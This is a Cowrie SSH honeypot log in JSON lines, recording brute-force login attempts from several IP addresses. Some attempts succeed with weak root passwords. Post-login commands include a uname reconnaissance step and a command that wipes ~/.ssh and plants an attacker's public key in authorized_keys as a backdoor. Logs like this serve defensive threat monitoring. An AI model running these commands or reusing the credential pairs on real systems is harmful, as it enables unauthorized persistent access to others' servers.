{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:01.885589Z","src_ip":"45.148.10.121","session":"0b581c0227d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:01.965747Z","src_ip":"45.148.10.121","session":"0b581c0227d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:02.050509Z","src_ip":"45.148.10.121","session":"0b581c0227d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49938,"dst_ip":"159.203.135.109","dst_port":22,"session":"849bfbe8fafc","protocol":"ssh","message":"New connection: 195.178.110.218:49938 (159.203.135.109:22) [session: 849bfbe8fafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:13.134043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:13.138679Z","src_ip":"195.178.110.218","session":"849bfbe8fafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:13.213699Z","src_ip":"195.178.110.218","session":"849bfbe8fafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:13.439847Z","src_ip":"195.178.110.218","session":"849bfbe8fafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:14.517306Z","src_ip":"195.178.110.218","session":"849bfbe8fafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":32896,"dst_ip":"159.203.135.109","dst_port":22,"session":"15402b175e81","protocol":"ssh","message":"New connection: 2.57.122.96:32896 (159.203.135.109:22) [session: 15402b175e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:44.468105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:44.515205Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:44.592749Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigen","message":"login attempt [root/eigen] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:45.108229Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:45.391316Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:45.394907Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:45.498043Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:45.502472Z","src_ip":"2.57.122.96","session":"15402b175e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":44670,"dst_ip":"10.17.0.5","dst_port":22,"session":"11daf5f3bd10","protocol":"ssh","message":"New connection: 119.209.12.20:44670 (10.17.0.5:22) [session: 11daf5f3bd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:25:04.097891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:25:04.103252Z","src_ip":"119.209.12.20","session":"11daf5f3bd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:25:04.308990Z","src_ip":"119.209.12.20","session":"11daf5f3bd10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"redminepassword","message":"login attempt [redmine/redminepassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:25:05.175583Z","src_ip":"119.209.12.20","session":"11daf5f3bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:25:06.384213Z","src_ip":"119.209.12.20","session":"11daf5f3bd10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":52426,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ef1021825a","protocol":"ssh","message":"New connection: 119.209.12.20:52426 (10.17.0.5:22) [session: a4ef1021825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:06.406042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:06.410765Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:06.619499Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin12345","message":"login attempt [root/Admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:07.481148Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:07.932117Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:07.935914Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:07.939392Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:08.150743Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:08.606335Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:08.609919Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:08.823783Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:08.827579Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf02868760b","protocol":"ssh","message":"New connection: 119.209.12.20:53236 (10.17.0.5:22) [session: cdf02868760b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:09.019628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:09.024021Z","src_ip":"119.209.12.20","session":"cdf02868760b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:09.227874Z","src_ip":"119.209.12.20","session":"cdf02868760b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:10.070385Z","src_ip":"119.209.12.20","session":"cdf02868760b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:11.278245Z","src_ip":"119.209.12.20","session":"cdf02868760b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":54002,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ceab1b8b89","protocol":"ssh","message":"New connection: 119.209.12.20:54002 (10.17.0.5:22) [session: 00ceab1b8b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:11.480329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:11.485346Z","src_ip":"119.209.12.20","session":"00ceab1b8b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:11.689790Z","src_ip":"119.209.12.20","session":"00ceab1b8b89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:12.536906Z","src_ip":"119.209.12.20","session":"00ceab1b8b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:12.743964Z","src_ip":"119.209.12.20","session":"00ceab1b8b89","protocol":"ssh"}
